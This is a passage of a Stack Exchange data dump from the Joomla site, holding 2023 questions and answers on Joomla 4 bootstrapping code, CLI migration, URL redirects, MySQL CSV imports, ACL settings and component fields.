&lt;code&gt;API&lt;/code&gt; and the &lt;code&gt;Joomla.php&lt;/code&gt; used by CLI and stepping through code to build the correct Joomla environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;To use the code&lt;/strong&gt;&lt;/em&gt; you will see it is in two parts, the first part contains four blocks of code, one for each Joomla environment or Application that you can call, and the blocks set up the properties for the second part,framework and application object to be used. You only need to have one of these blocks, you can delete the other three to reduce the code size and make it easier to follow.&lt;/p&gt;&#xA;&lt;p&gt;The second part of the code goes about establishing the instance along with the session values and readies the required $app for use.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Sample last updated 28/06/2023&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /**&#xA;     * Use this code to create an instance of the Joomla CMS in one of the four available applications.&#xA;     *&#xA;     * Usage:&#xA;     * Uncomment a block of code in the Part 1 to suit the application you wish to use. Cooment or remove the other blocks&#xA;     *&#xA;     * The 'site' and 'admin' only work when called from a URL, i.e. Browser or cUrl. e.g. 'https:\\mysite/thisfile.php '&#xA;     *&#xA;     * For 'api' and 'cli' they both can be called from a comand line, e.g. '&amp;gt; thisfile.php'&#xA;     *&#xA;     */&#xA;    define('_JEXEC', 1);&#xA;    &#xA;//If this file is not placed in the /root directory of a Joomla instance put the directory for Joomla libraries here.&#xA;    $joomla_directory = null;&#xA;    &#xA;    /**---------------------------------------------------------------------------------&#xA;     * Part 1 - Load the Framework and set up up the environment properties&#xA;     * -------------------------------------------------------------------------------*/&#xA;    &#xA;    /**&#xA;     *  Site - Front end application when called from Browser via URL.&#xA;    */                                                  // Remove this '*/' to comment out this block&#xA;    define('JPATH_BASE', (isset($joomla_directory)) ? $joomla_directory : __DIR__ );&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;    $class_name             =  new \Joomla\CMS\Application\SiteApplication;&#xA;    $session_alias          = 'session.web';&#xA;    $session_suffix         = 'web.site';&#xA;    /** end Site config */&#xA;    &#xA;    /**&#xA;     *  Admin - Backend end application when called from Browser via URL.&#xA;    &#xA;    define('JPATH_BASE', (isset($joomla_directory)) ? $joomla_directory . '\administrator' : __DIR__ . '\administrator' );&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;    $class_name             =  new \Joomla\CMS\Application\AdministratorApplication;&#xA;    $session_alias          = 'session.web';&#xA;    $session_suffix         = 'web.administrator';&#xA;    /** end Admin config */&#xA;    &#xA;    /**&#xA;     *  Api - Api application when called from Browser via URL.&#xA;    &#xA;    define('JPATH_BASE', (isset($joomla_directory)) ? $joomla_directory . '\api' : __DIR__ . '\api' );&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;    $class_name             =  new \Joomla\Console\Application;&#xA;    $session_alias          = 'session';&#xA;    $session_suffix         = 'cli';&#xA;    /** end Api config */&#xA;    &#xA;    /**&#xA;     *  Cli - Cli application when called from Browser via URL.&#xA;    &#xA;    define('JPATH_BASE', (isset($joomla_directory)) ? $joomla_directory  : __DIR__ );&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;    $class_name             =  new \Joomla\Console\Application;&#xA;    $session_alias          = 'session';&#xA;    $session_suffix         = 'cli';&#xA;    /** end Cli config */&#xA;    &#xA;    /**---------------------------------------------------------------------------------&#xA;     * Part 2 - Start the application from the container ready to be used.&#xA;     * -------------------------------------------------------------------------------*/&#xA;    // Boot the DI container&#xA;    $container = \Joomla\CMS\Factory::getContainer();&#xA;    &#xA;    // Alias the session service key to the web session service.&#xA;    $container-&amp;gt;alias($session_alias, 'session.' . $session_suffix)&#xA;                -&amp;gt;alias('JSession', 'session.' . $session_suffix)&#xA;                -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.' . $session_suffix)&#xA;                -&amp;gt;alias(\Joomla\Session\Session::class, 'session.' . $session_suffix)&#xA;                -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.' . $session_suffix);&#xA;    &#xA;    // Instantiate the application.&#xA;    $app = $container-&amp;gt;get($class_name::class);&#xA;    // Set the application as global app&#xA;     \Joomla\CMS\Factory::$application = $app;&#xA;    &#xA;    &#xA;    /**---------------------------------------------------------------------------------&#xA;     * Insert your own code here.&#xA;     * -------------------------------------------------------------------------------*/&#xA;     //If output of the $app is displayed then you have a working environment to start your code.&#xA;    print_r($app);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-06-27T23:50:29.503" LastActivityDate="2023-06-27T23:50:29.503" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33142" PostTypeId="1" CreationDate="2023-06-24T13:08:04.733" Score="0" ViewCount="22" Body="&lt;p&gt;On behalf of an association, I make a new site that involves forms.&#xA;I use Joomla 4 and Nicepage essentially. The site is in 2 parts: public and private. The private part requires registration which will in principle allow access to the private part. The private part is a training area where each page will lead to the next after a series of questions which, depending on the result, will open the next section or not. For each new section reached, the identifier and the MDP will be necessary.&#xA;Being quite a beginner on Joomla, I have a lot of trouble, because I do not master Joomla at all and even less the forms. I find it hard to find myself there between entry, recovery of information, then install the forms by session zone. I have been trying solutions for more than a week, following tutorials, and there I take the lead so much that everything mixes. This is surely a stupid thing that I did not capture, so I think it is time that a good soul comes to guide me ... please, thank you, Eric&lt;/p&gt;&#xA;" OwnerUserId="17143" LastEditorUserId="13472" LastEditDate="2023-07-03T12:48:25.350" LastActivityDate="2023-07-03T12:48:25.350" Title="gestion des formulaires et des membres inscrits" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33144" PostTypeId="1" AcceptedAnswerId="33152" CreationDate="2023-06-26T15:33:05.013" Score="1" ViewCount="78" Body="&lt;p&gt;I have upgrade my site from Joomla 3.10.x to Joomla 4.3.2.&lt;/p&gt;&#xA;&lt;p&gt;My homepage shows a list of featured articles. I have create new featured articles and if i change the order in the backend with drag &amp;amp; drop, after refresh the order of the list remain the same, both in backend and frontend.&lt;/p&gt;&#xA;&lt;p&gt;I have check the tables &lt;code&gt;_content&lt;/code&gt; and &lt;code&gt;_content_frontpage&lt;/code&gt; in the db and i cant find the new article ids in the column &lt;code&gt;content_id&lt;/code&gt;.&#xA;If i change with drag &amp;amp; drop the order of an article with an id that exist in the &lt;code&gt;content_id&lt;/code&gt; column, then the order is changing successfully.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on why the new articles dont exist in the &lt;code&gt;_content_frontpage&lt;/code&gt; table so i can change the order of the featured articles?&lt;/p&gt;&#xA;" OwnerUserId="17148" LastActivityDate="2023-06-29T15:05:58.373" Title="Reoder featured articles after migration to joomla 4" Tags="|joomla-3.x|joomla-4|featured-articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33145" PostTypeId="2" ParentId="32580" CreationDate="2023-06-26T16:37:25.427" Score="0" Body="&lt;p&gt;To resolve the &amp;quot;Only variables should be passed by reference&amp;quot; notice and make the code compliant with PHP 8.0 and Joomla 3.10 standards, you can modify the code as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class UsedcarViewCategory extends JViewLegacy&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $mainframe = JFactory::getApplication();&#xA;        $option = $this-&amp;gt;get('Option'); // Recommended way to retrieve the component option&#xA;        $db = JFactory::getDbo();&#xA;        $user = JFactory::getUser();&#xA;        $model = $this-&amp;gt;getModel();&#xA;        $modelUsedcar = $this-&amp;gt;getModel('category');&#xA;        $brand = $this-&amp;gt;input-&amp;gt;getInt('brand'); // Updated method to retrieve request variable as an integer&#xA;        $Carmodel = $this-&amp;gt;input-&amp;gt;getInt('model'); // Updated method to retrieve request variable as an integer&#xA;        $id = $this-&amp;gt;input-&amp;gt;getInt('id'); // Updated method to retrieve request variable as an integer&#xA;&#xA;        $CatList = $modelUsedcar-&amp;gt;loadMainCat($brand, $Carmodel); // Assign to a variable instead of using assignRef&#xA;&#xA;        $this-&amp;gt;assign('CatList', $CatList); // Use assign instead of assignRef&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17148" LastActivityDate="2023-06-26T16:37:25.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33146" PostTypeId="1" CreationDate="2023-06-26T19:28:30.783" Score="0" ViewCount="25" Body="&lt;p&gt;I've created a new user group under the &amp;quot;Manager&amp;quot; ACL called &amp;quot;User Manager&amp;quot;. The only function of the &amp;quot;User Manager&amp;quot; is to create or delete &amp;quot;Registered&amp;quot; user accounts. How do I restrict that &amp;quot;User Manager&amp;quot; ACL in such a way that when they create a new user account, the only ACL that they can assign that new user to is the &amp;quot;Registered&amp;quot; ACL? By default the &amp;quot;Manager&amp;quot; ACL (and it's subclasses) can create a new user and also assign them to the &amp;quot;Manager&amp;quot; ACL, or others like &amp;quot;Author&amp;quot;, &amp;quot;Editor&amp;quot;, etc. I need to restrict new user creation to only &amp;quot;Registered&amp;quot; users.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H2hli.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2hli.jpg&quot; alt=&quot;User Manager&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17149" LastActivityDate="2023-06-26T19:28:30.783" Title="Restricting New User &quot;Assigned User Group&quot; Options for Manager Level Accounts" Tags="|joomla-4.x|template-override|joomla-user-groups|com-users|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33147" PostTypeId="1" AcceptedAnswerId="33159" CreationDate="2023-06-27T12:11:18.093" Score="0" ViewCount="116" Body="&lt;p&gt;Up against it at the minute so my brain seems to be going off in the wrong direction.&lt;/p&gt;&#xA;&lt;p&gt;I have migrated a very large site from J3 to J4. The J3 article URL's look like the below:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/133-locally/1984-ukraine-how-lymington-and-the-new-forest-can-help&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The URL to be directed to in J4 is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/locally/ukraine-how-lymington-and-the-new-forest-can-help&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;ReDJ is not J4 compatible so I think I can only do this using a catch all htaccess rule to remove numbers and the trailing dash at the start of each part of the URL.&lt;/p&gt;&#xA;&lt;p&gt;I do have one other minor URL issue which I'm hoping direct alias will fix but so far it's not working. The above is my main problem.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be most appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much in advance.&lt;/p&gt;&#xA;&lt;p&gt;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2023-06-29T07:47:46.533" LastActivityDate="2023-07-04T16:46:18.023" Title="Help with URL rewrite (REGEX?) following J3 to J4 migration" Tags="|joomla-4.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33148" PostTypeId="2" ParentId="33147" CreationDate="2023-06-27T14:04:57.107" Score="0" Body="&lt;p&gt;Assuming that those URLs have been produced by the Category/Article system in Joomla, the IDs for both can be removed by switching on the &lt;code&gt;Remove IDs from URLs&lt;/code&gt; option in the Content Options&lt;/p&gt;&#xA;&lt;p&gt;Content -&amp;gt; Articles -&amp;gt; Options -&amp;gt; Integration -&amp;gt; Remove IDs from URLs&lt;/p&gt;&#xA;" OwnerUserId="13268" LastActivityDate="2023-06-27T14:04:57.107" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33149" PostTypeId="1" CreationDate="2023-06-27T16:10:49.233" Score="0" ViewCount="249" Body="&lt;p&gt;I'm working with a JoomlaCli Application, called from a external php command via a cronjob. It worked in Joomla 3, but in Joomla 4 some classes have changed.&lt;/p&gt;&#xA;&lt;p&gt;Our class name is &lt;strong&gt;import&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Namespaces:&lt;/p&gt;&#xA;&lt;pre&gt;use GreenCape\Import\Core\Logger;&#xA;use GreenCape\Import\Core\Timer;&#xA;use GreenCape\Import\Exception\BusyException;&#xA;use GreenCape\Import\Reader\ReaderInterface;&#xA;use GreenCape\Import\Writer\WriterInterface;&#xA;use Joomla\Registry\Registry;&#xA;use Psr\Log\LoggerInterface;&#xA;&#xA;// Import namespaced classes&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\LanguageHelper;&#xA;use Joomla\CMS\Http\HttpFactory;&#xA;use Joomla\CMS\Version;&#xA;use Joomla\Console\Application;&#xA;use Joomla\Console\Command\AbstractCommand;&lt;/pre&gt;&#xA;&lt;p&gt;some inits&lt;/p&gt;&#xA;&lt;pre&gt;// Set flag that this is a parent file.&#xA;const _JEXEC = 1;&#xA;&#xA;error_reporting(E_ALL | E_NOTICE);&#xA;ini_set('display_errors', 1);&#xA;date_default_timezone_set('UTC');&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php'))&#xA;{&#xA;    require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;// Load the configuration&#xA;require_once JPATH_CONFIGURATION . '/configuration.php';&#xA;&#xA;require_once __DIR__ . '/import/autoload.php';&lt;/pre&gt;&#xA;&lt;p&gt;the crucial class definition with the execute definition&lt;/p&gt;&#xA;&lt;pre&gt; class Import extends JApplicationCli&#xA;{&#xA;    /** @var JInputCli The input */&#xA;    public $input = null;&#xA;&#xA;    /** @var  LoggerInterface */&#xA;    protected $logger;&#xA;&#xA;    private $update = true;&#xA;    private $delete = false;&#xA;&#xA;    private $quiet = false;&#xA;    private $debug = true;&#xA;    private $verbose = false;&#xA;&#xA;    private $importConfig;&#xA;    private $type;&#xA;&#xA;    /** @var  Lock */&#xA;    private $lock;&#xA;    private $force;&#xA;&#xA;    public function __construct(JInputCli $input = null, Registry $config = null, JEventDispatcher $dispatcher = null)&#xA;    {&#xA;        parent::__construct($input, $config, $dispatcher);&#xA;    }&#xA;&#xA;    /**&#xA;     * Entry point for the script&#xA;     *&#xA;     * Exit codes:&#xA;     *&#xA;     *   - 0: Everything went as expected.&#xA;     *   - 1: An exception occurred.&#xA;     *   - 2: Import is already running.&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    public function doExecute()&#xA;    {&#xA;        try&#xA;        {&#xA;            if (!defined('JDEBUG'))&#xA;            {&#xA;                define('JDEBUG', false);&#xA;            }&#xA;&#xA;            JFactory::$application = $this;&#xA;&#xA;            $this-&gt;handleOptions();&#xA;            $this-&gt;hello();&#xA;&#xA;            #$this-&gt;logger-&gt;debug(&quot;Config: &quot; . print_r($this-&gt;importConfig, true), ['import']);&#xA;&#xA;            if (count($this-&gt;input-&gt;args) != 1)&#xA;            {&#xA;                $this-&gt;quiet = false;&#xA;                $this-&gt;usage();&#xA;            }&#xA;&#xA;            $this-&gt;type = $this-&gt;input-&gt;args[0];&#xA;            $this-&gt;lock = new Lock($this-&gt;type);&#xA;&#xA;            if (!isset($this-&gt;importConfig[$this-&gt;type]))&#xA;            {&#xA;                $available = implode(', ', array_keys($this-&gt;importConfig));&#xA;                throw new \RuntimeException(&quot;Don't know how to import {$this-&gt;type}. Known data types are {$available}&quot;);&#xA;            }&#xA;            $this-&gt;importConfig[$this-&gt;type]['logger'] = $this-&gt;logger;&#xA;&#xA;            $readerClass = $this-&gt;importConfig[$this-&gt;type]['reader_class'];&#xA;            $writerClass = $this-&gt;importConfig[$this-&gt;type]['writer_class'];&#xA;&#xA;            $this-&gt;lock-&gt;lock($this-&gt;force);&#xA;            $this-&gt;logger-&gt;info(&quot;Importing {$this-&gt;type}&quot;, ['import']);&#xA;            $returnValue = $this-&gt;import(&#xA;                new $readerClass($this-&gt;importConfig[$this-&gt;type]),&#xA;                new $writerClass($this-&gt;importConfig[$this-&gt;type])&#xA;            );&#xA;            $this-&gt;lock-&gt;unlock();&#xA;        } catch (BusyException $e)&#xA;        {&#xA;            $this-&gt;out($this-&gt;type . &quot; import is already running.&quot;);&#xA;            $returnValue = 2;&#xA;        } catch (\Exception $e)&#xA;        {&#xA;            $this-&gt;out('Exception: ' . $e-&gt;getMessage());&#xA;            $this-&gt;logger-&gt;error($e-&gt;getMessage());&#xA;&#xA;            if ($this-&gt;debug)&#xA;            {&#xA;                $this-&gt;out($e-&gt;getTraceAsString());&#xA;            }&#xA;            $returnValue = 1;&#xA;            $this-&gt;lock-&gt;unlock();&#xA;        }&#xA;&#xA;        $this-&gt;close($returnValue);&#xA;    }&#xA;...&lt;/pre&gt;&#xA;&lt;p&gt;and finally the instance called&lt;/p&gt;&#xA;&lt;pre&gt;JApplicationCli::getInstance('Import')-&gt;execute();&lt;/pre&gt;&#xA;&lt;p&gt;I got a static error,&lt;/p&gt;&#xA;&lt;pre&gt;Class Import contains 1 abstract method and must therefore be declared abstract or implement the remaining methods&lt;/pre&gt;&#xA;&lt;p&gt;so I defined the missing class with an empty function.&lt;/p&gt;&#xA;&lt;p&gt;Some hours down the line I still can't call the instance, asking myself if the script can be saved anywhere or if it will be necessary to switch from&#xA;&lt;strong&gt;extends JApplicationCli&lt;/strong&gt;&#xA;to&#xA;&lt;strong&gt;extends Application&lt;/strong&gt;&#xA;for Joomla 5 anyways.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions? I can provide the full code if any helpful, just didn't want to spam the thread.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17151" LastActivityDate="2023-08-06T11:32:28.147" Title="Help with update a JoomlaCli-Application from Joomla 3 to Joomla 4" Tags="|joomla-3.x|joomla-4.x|joomla-api|cli|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33150" PostTypeId="2" ParentId="33149" CreationDate="2023-06-27T23:47:53.760" Score="1" Body="&lt;p&gt;Your code needs to be updated to form the Joomla 4 application environment correctly as there are major changes between what you have for Joomla 3 and the way Joomla 4 now loads.&lt;/p&gt;&#xA;&lt;p&gt;You can use the code I have provided in this post, &lt;a href=&quot;https://joomla.stackexchange.com/questions/33140/how-to-create-an-instance-of-the-joomla-cms-from-the-browser-or-the-command-line&quot;&gt;How to create an instance of the Joomla CMS from the browser or the command line&lt;/a&gt;, to replace the second block of the code that you have pasted in your question to get the right instance of Joomla. You will need to use the last block in Part 1, for the CLI application, and remove the previous three blocks of code.&lt;/p&gt;&#xA;&lt;p&gt;JApplicationCli is still available until Joomla 6, however it can be replaced with Joomla\CMS\Application\CliApplication now. JInput and JFactory are also depreciated.&lt;/p&gt;&#xA;&lt;p&gt;And if you want to modernise your code you could look at the documentation around Joomla Console to make it a console command and then you can call it as a cron job or via a terminal command line. I have found it better to use the console approach and have been converting my old cli code across when I can.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-06-27T23:47:53.760" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33151" PostTypeId="1" AcceptedAnswerId="33153" CreationDate="2023-06-29T14:58:52.673" Score="0" ViewCount="129" Body="&lt;p&gt;In a Joomla 3 component I use the MySQL &amp;quot;LOAD DATA LOCAL INFILE&amp;quot; command to import large CSV files into a Joomla database table.&lt;/p&gt;&#xA;&lt;p&gt;When moving to a new server, it is no longer possible to configure MySQL via php.ini like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;mysqli.allow_local_infile = On&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The web host suggests to use this PHP command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;mysqli_options($mysqli, MYSQLI_OPT_LOCAL_INFILE, true);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I would like to achieve is to be able to do this with the Joomla database connection object.&lt;/p&gt;&#xA;&lt;p&gt;A) Adding a $options parameter to the JConfig object in Joomla's configuration.php did not work:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;public $options = array('local_infile' =&amp;gt; true);  // &amp;lt;-- ??&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;B) Alternatively, I tried creating another database connection like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$option['driver']   = 'mysqli'; // Database driver name&#xA;$option['host']     = 'host';   // Database host name&#xA;$option['user']     = 'user';   // User for database authentication&#xA;$option['password'] = 'pass';   // Password for database authentication&#xA;$option['database'] = 'name';   // Database name&#xA;$option['prefix']   = 'xxx_';   // Database prefix (may be empty)&#xA;&#xA;$option['option']   = array('local_infile' =&amp;gt; true); // &amp;lt;-- ???&#xA;&#xA;$db = JDatabaseDriver::getInstance($option);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Experimentation with replacing local_infile with allow_local_infile, mysqli.local_infile, or MYSQLI_OPT_LOCAL_INFILE does not seem to work either.&lt;/p&gt;&#xA;&lt;p&gt;Will this even be possible with Joomla?&#xA;Is there any other best practice for importing large CSV files into a Joomla database?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-06-29T17:25:20.607" LastActivityDate="2023-07-01T08:11:24.640" Title="Using MySQL &quot;LOAD DATA LOCAL INFILE&quot; with the Joomla database connection object" Tags="|joomla-3.x|joomla-4.x|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33152" PostTypeId="2" ParentId="33144" CreationDate="2023-06-29T15:05:58.373" Score="2" Body="&lt;p&gt;Good news!&lt;/p&gt;&#xA;&lt;p&gt;I solve the order problem by deleting in table &lt;code&gt;_content_frontpage&lt;/code&gt; all the rows with the article ids that dont exist in the &lt;code&gt;_content&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="17148" LastActivityDate="2023-06-29T15:05:58.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33153" PostTypeId="2" ParentId="33151" CreationDate="2023-06-30T10:35:41.990" Score="1" Body="&lt;p&gt;&lt;strong&gt;Updated to include the more detailed example based on the 1st comment.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have been able to get the follow statement to work, or at least not fail, in a simple Joomla 3 Model;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;if ($db-&amp;gt;getconnection() instanceof mysqli)&#xA;{&#xA;    mysqli_options($db-&amp;gt;getConnection(), MYSQLI_OPT_LOCAL_INFILE, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However I haven't look too hard into how to confirm that it has made the required change in the MySQL connection so you will need to do that with your function.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-07-01T08:11:24.640" LastActivityDate="2023-07-01T08:11:24.640" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33154" PostTypeId="2" ParentId="33147" CreationDate="2023-06-30T12:18:00.027" Score="0" Body="&lt;p&gt;The core Redirect system that comes with Joomla could be used to trap the incoming URL and updated to redirect to the non-id version of the url. You will find it under Plugin on the System dashboard for Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the number of articles as to whether that is practical though for your site.&lt;/p&gt;&#xA;&lt;p&gt;Using Redirect or manipulating the url is not really a long term solution in my view, you really need to get search engines to index your site using the new url for your articles as soon as possible and then you are just dealing with bookmarks and site links to be updated.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-06-30T12:18:00.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33155" PostTypeId="1" CreationDate="2023-06-30T18:50:43.870" Score="0" ViewCount="91" Body="&lt;p&gt;I'm looking to display my system plugin options in a custom layout.&lt;br /&gt;&#xA;So i checked something like options for article blog layout:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c8heJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8heJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But these use a custom layout that renders the options with a form-grid class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;form-grid&amp;quot;&amp;gt;&#xA;     &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('editorConfig'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The rendered fields have attributes like this: &lt;code&gt;parentclass=&amp;quot;stack span-1&amp;quot;&lt;/code&gt;. They work in combinations with the grid class from the layout.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to get a custom layout for system plugin options rendered? I can use the &lt;code&gt;parentclass&lt;/code&gt; option for single fields but how would one use an options layout override at this place?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-12-22T09:02:50.297" Title="Custom layout for plugin options" Tags="|plugin|xml|layout|custom|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33156" PostTypeId="1" AcceptedAnswerId="33158" CreationDate="2023-06-30T22:46:30.283" Score="0" ViewCount="100" Body="&lt;p&gt;I am creating a new Joomla J4 component for my website.  I have previously created components in J3 using Akeeba's Framework on Framework. For J4 I'm working to learn how to create a J4 MVC native component and I'm stuck on this issue.  All I want to do is to add fields to a record to track when a record was last modified and who did the modification.  (Eventually, I'd like to make use of the record lock functionality as well but that's not part of this question.)&lt;/p&gt;&#xA;&lt;p&gt;It seems to me that the modified_on and modified_by field values should be updated when the JFORM is being saved (store?), but I don't understand where that happens in the MVC framework.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can someone explain to me where I need to add the code to make this happen?  Or, point me in a difference direction regarding to to make this work?  Thanks in advance for your assistance!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For reference, here's my code for this view.&lt;/p&gt;&#xA;&lt;p&gt;These are the fields I have configured in my db table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;**#    Name           Type            Null    Default**&#xA;  11     modified_by    bigint          Yes     NULL&#xA;  12     modified_on    datetime        Yes     NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the JFORM I have setup&#xA;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&amp;quot;core&amp;quot;&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;title&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Client&amp;quot;&#xA;        required=&amp;quot;true&amp;quot;&#xA;        maxlength=&amp;quot;100&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;description&amp;quot;&#xA;        type=&amp;quot;textarea&amp;quot;&#xA;        label=&amp;quot;Description&amp;quot;&#xA;        description=&amp;quot;&amp;quot;&#xA;        required=&amp;quot;false&amp;quot;&#xA;        maxlength=&amp;quot;300&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;portal_name&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Portal Name&amp;quot;&#xA;        description=&amp;quot;Enter the URL for the client portal&amp;quot;&#xA;        required=&amp;quot;true&amp;quot;&#xA;        maxlength=&amp;quot;100&amp;quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;  &#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field&#xA;        name=&amp;quot;primary_contact&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Primary Contact&amp;quot;&#xA;        description=&amp;quot;&amp;quot;&#xA;        required=&amp;quot;false&amp;quot;&#xA;        maxlength=&amp;quot;100&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;email_address&amp;quot;&#xA;        type=&amp;quot;text&amp;quot;&#xA;        label=&amp;quot;Email&amp;quot;&#xA;        description=&amp;quot;&amp;quot;&#xA;        required=&amp;quot;false&amp;quot;&#xA;        maxlength=&amp;quot;100&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;    &amp;lt;field&#xA;        name=&amp;quot;modified_by&amp;quot;&#xA;        label=&amp;quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&amp;quot;&#xA;        class=&amp;quot;readonly&amp;quot;&#xA;        readonly=&amp;quot;true&amp;quot;&#xA;        filter=&amp;quot;unset&amp;quot; /&amp;gt;&#xA;    &#xA;    &amp;lt;field&#xA;        name=&amp;quot;modified_on&amp;quot;&#xA;        type=&amp;quot;calendar&amp;quot;&#xA;        label=&amp;quot;Last Modified&amp;quot;&#xA;        default=&amp;quot;NOW&amp;quot;&#xA;        